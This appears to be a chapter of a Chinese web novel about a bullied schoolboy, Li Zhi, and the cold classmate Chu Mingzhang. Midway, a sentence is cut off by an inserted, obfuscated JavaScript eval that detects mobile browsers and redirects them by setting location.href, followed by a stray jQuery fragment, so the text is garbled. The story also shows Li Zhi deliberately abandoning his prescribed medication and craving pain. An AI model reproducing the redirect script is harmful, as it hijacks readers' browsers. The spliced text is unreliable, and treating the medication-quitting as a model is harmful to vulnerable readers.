褚明彰的目光只在李知身上停了一会儿,然后很快就恢复了平静。
“镜子后面,最上一格。”他将手从门把手上挪开,又丢下了这句话后便转身离开了。
没一会又折返回来,褚明彰扔给李知一条长裤,“穿这条。”
其实还是偏大,好在这条裤子有裤带,李知抽紧了,才不至于从腰上滑下去,至于偏长的裤脚则挽了起来。
他在浴室里将头发吹干,重新戴上了眼镜才走出去。李知将自己脏兮兮的制服收好了,有些局促不安地看向靠在沙发上的褚明彰,“那个,谢谢你。”
褚明彰戴着耳机,没有理会他,李知搓了搓手指,声若蚊蚋:“衣服,我洗好了还给你。”
“那,我走了。”他与褚明彰之间连泛泛之交都算不上,可能只比陌生人好那么一点。其实李知都惊讶于那个对谁都冷淡无比的褚明彰,竟会帮他到这个地步。
李知没有再留下去的理由了,他攥紧了装着脏衣服的袋子一角,“再见。”
“不用了。”
两人的声音一同响起,李知有些诧异地转过头,褚明彰似乎也怔了怔,他将耳机摘下来挂在脖子上,从李知的角度,他的侧脸显得尤为英挺冷俊,“不用还给我。”
“这身衣服,随你处置。”
“…哦,好的。”李知沉默了一会,他点点头,自言自语似的,“好的。”
李知记不清楚自己那天是怎样回的宿舍,他没有吃晚饭,抱着腿在床上呆坐了许久。
闹钟响起,已是晚上六点,李知下意识地望向放在床头柜上的那个小小药瓶,又到了他该吃药的时间——李知伸出手,却又在指尖将要触及那药瓶时将手缩了回来。
李知曾做过一张表格,表上严格规定了他吃每种药物的时间,但是现在……
欻,欻,纸被撕裂的声音,雪花片一样落在垃圾桶里,紧随其后的是各色的药瓶,李知面不改色地将他们全部扫进去,没有一丝犹豫。
断药,李知可以想象得到私自断药后的结果,无休无止的噩梦,毫无预兆的,身体各处的疼痛……
可李知还是这样做了,他甚至有种隐隐的期待。
就好像生日必然要与蛋糕联系在一起,耳光过后是安慰,霸凌之后是拯救,伤害必然伴随着温情,于是他开始迷恋起痛苦。
他缓缓转过头,目光落在那堆扔在角落里的,散发着恶臭味的衣物上。
还有什么能比这更糟糕?李知暗想。
***
学校董事临时召开紧急会议,一致决定罢免王董事的职务,王凯轩被退学,他那帮党羽也一一受到了处罚,甚至连韩子尧也没能幸免,被记了处分,停课一周。
王凯轩在学校里作威作福已经不是一两天的事了,但下手这么没轻没重的还是第一次。
可他既然敢这样做,那必然是有底气的,只要他别弄出人命来,他老子都有能力帮他摆平。王凯轩这一回之所以翻了船,是有人要动手搞他。
在李知遭受到霸凌的第二天早上七点,这所私立高中的校董们不约而同地收到了一封匿名邮件,邮件中包含着一份视频附件——
监控录像,地点是即将翻修的羽毛球馆,时间是昨天下午一点。
这封邮件发的非常大胆,也很有分寸。这视频里的所有人都做了消音处理,脸也被打了码,可那只是薄码,只要是对他们比较熟悉的人,多看几遍视频也能辨认出他们的身份。
周国雄身为校董之一,自然也看到了这个视频,他很快就认出了那被打趴在地的,可怜虫一样的少年是他的小儿子李知,周国雄怒不可遏。
是,他是不大喜欢这个儿子,可这也是他血浓于水的亲生子,这群人现在是在做什么?说句难听的话,这简直是将他的面皮按在地上踩。
之后这件事很快被处理,校方临时召开董事会,身为当事人之一的李知只被叫去问了几句话,至于董事会上究竟发生了什么,他不得而知。
他只知道会议结束后,就宣布了王凯轩父亲退出董事会的消息,且王凯轩被退学。王凯轩的父亲面色灰败,如丧考妣地离开了学校坐进车内——
他知道,因为这个不争气的儿子,他彻底得罪了周国雄。
生意场上的关系链错综复杂,王父在s市虽然称得上有身份有地位,却远不如素有“s市零售业之父”之称的周国雄吃得开。
事业受挫是必然的,但那时候的王父还不知道,真正的劫难还在后头——
大概一周之后,前往美国曼哈顿度假散心的王凯轩被一辆幽灵车撞飞,当场死亡,司机在肇事后逃逸,随后畏罪自杀。
美国警方排查了司机的社会关系,都没能找到什么有用的线索,于是王凯轩的死也只能按照一般的交通事故来处理,这个案子最终也就不了了之……
不过,这都是后话了。
一波未平一波又起,因为王凯轩,李知成为了学校里的名人,当然从前他的名气也不小,只是霸凌事件之后,众人对他的态度比知从前更加鲜明了……避之不及。
当然李知本人并不太在乎,别人躲着他,对他来说还能算一件好事呢。至少他能安安稳稳地上学了,而不用分出精力来提防那些不知道什么时候会出现的欺凌。
但还有一件事,一件令李知又担忧,又莫名让他有些心跳失速的事——
李知注视着怀中被封口的袋子,袋子里放着几件衣服,整整齐齐地叠在一起,不知道被洗过、熨过几遍了,整洁的像是全新的。
那是上一回褚明彰借用给他的那身衣服。
褚明彰的位置就在李知后,李知一转头就能看见他,也就是说,在这一天之内,他有无数个机会去同褚明彰说话,自然而然地将准备好的衣服还给他。
但他每一次都错失良机,每一次鼓起勇气要开口了,又在触及对方的目光时临阵退缩,不是褚明彰瞟了他一眼便走了,就是上课铃响了。
就这样,直到放学了,李知也没能将衣服送出去。
回宿舍后的李知魂不守舍,他坐在桌前,怔怔地盯着面前的书,可李知一个字儿也没看进去,他整个脑袋里都是褚
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15571344|171493||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明彰——
今天教室里飞进来一只马蜂,嗡嗡的到处的乱飞,女孩子们被吓得慌乱地躲,那只蜜蜂后来被褚明彰面不改色地用一本厚书拍死了。
褚明彰今天和他对视了,褚明彰……
李知突然站起身,然后抓起身边的袋子,没有片刻犹豫地朝外跑去。
他忽然,忽然非常想见褚明彰一眼,李知一鼓作气地跑到了褚明彰的宿舍楼下,电梯缓缓地爬升向最顶层,在封闭的电梯中,李知能听到自己一声接着一声的心跳。
可等李知真的站到褚明彰宿舍门前时,他又后悔了——怎么可以这么冲动?现在才几点?万一褚明彰还没吃完晚饭回来怎么办?万一褚明彰觉得他不请自来很不礼貌怎么办?
要不……要不还是走吧?明天再给也不迟啊。
可是手比大脑先快一步,李知的一只手已按上了门铃。“叮咚”一声在静谧的楼道中响起,李知的一颗心怦怦地跳,与此同时,门也被拉开了——
“……”脱了学校制服,换了一身宽松体恤的褚明彰垂首看着他,这时候的李知还保持着一只脚往后退,身体往边上扭的姿势。
李知张了张嘴,一片绯红慢慢地从脖颈爬上耳根,他身体发热地恢复成正常的姿势,“褚明彰,你好……”
“是你?”褚明彰只将门开了一半,也就是说他并没有请李知进来坐一坐的意思,“有什么事吗?”
“不好意思打扰你了,我……我是来给你送衣服的。”
李知鼓起勇气,努力将这一句话说出来,他将手中的衣服袋子举到面前人跟前,甚至不敢抬头去看褚明彰的表情。
褚明彰没有接,李知咽了口唾沫,又说:“不好意思,隔了这么久才还你,嗯……我洗过好多遍了,还熨过了,现在很干净的。”
“真的。”生怕褚明彰不信似的,李知又紧接着跟了一句话。
空气好像凝住了,李知的手臂有些酸痛,可他不敢放松,甚至连大气也不敢出。他想用余光去瞟一眼褚明彰现在的表情,可褚明彰个子太高了,李知没能看清他的脸,反而看到了被自己捏得皱巴巴的衣袋。
那一刹那,李知心中又生出了几分后悔,却也在这个时候,他的手臂忽然一松——
“谢谢,麻烦了。”褚明彰说。
一桩令李知茶饭不思、心神不定一整日的事就这样轻飘飘地结束了,李知有些茫然,约摸过了几秒钟后才回过神来,“哦,好。”
“那我走了,拜拜。”
李知好像很怕看到那扇门在他眼前合上,所以在褚明彰拉上门前,他已先一步地转身离开,褚明彰看了会儿他的背影,又将目光转移到手中提着的袋子上。
“褚明彰?谁啊。”屋里头响起来另一个男孩的声音。
褚明彰没有立刻应声,而是没什么表情的将手中的袋子扔到角落垃圾桶内。
做完了这一动作,褚明彰才抬起头看向了坐在沙发上的两个少年,同时回答了方才韩子尧的话——
“没谁。”褚明彰说,“一个无关紧要的人。”